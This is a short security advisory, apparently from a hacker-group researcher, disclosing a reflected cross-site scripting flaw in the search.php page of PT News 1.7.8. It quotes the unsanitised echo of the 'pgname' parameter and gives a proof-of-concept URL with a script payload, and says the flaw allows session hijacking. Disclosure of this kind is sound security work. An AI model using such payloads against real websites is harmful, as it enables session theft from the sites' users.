PT News 1.7.8 (Search.php) XSS Vulnerability

PT News 1.7.8 (Search.php) XSS Vulnerability

PT News
Version: 1.7.8
Website URL:http://www.openbg.net/ptsite/

Discoved by Snake
[Unkn0wn Security Researcher]
The original article can be found at: http://unkn0wn.awardspace.com/security/articlZ.php

Un3ecure Digital Security Team
Gr33tZ t0 :Zer0c00l - Mr.2s - chester - 0.1 - Pc Er0r - Street Shark

Vulnerable code is in Search.php
in line 12 :
<? echo $pgname; ?>
the varible no check input value and echo every code

Ex:
http://127.0.0.1/ptnews-1.7.8/search.php?pgname=&lt;Script&gt;alert&#40;&#39;Snake was Here!!')</script>
You can execute your code and hijack Session.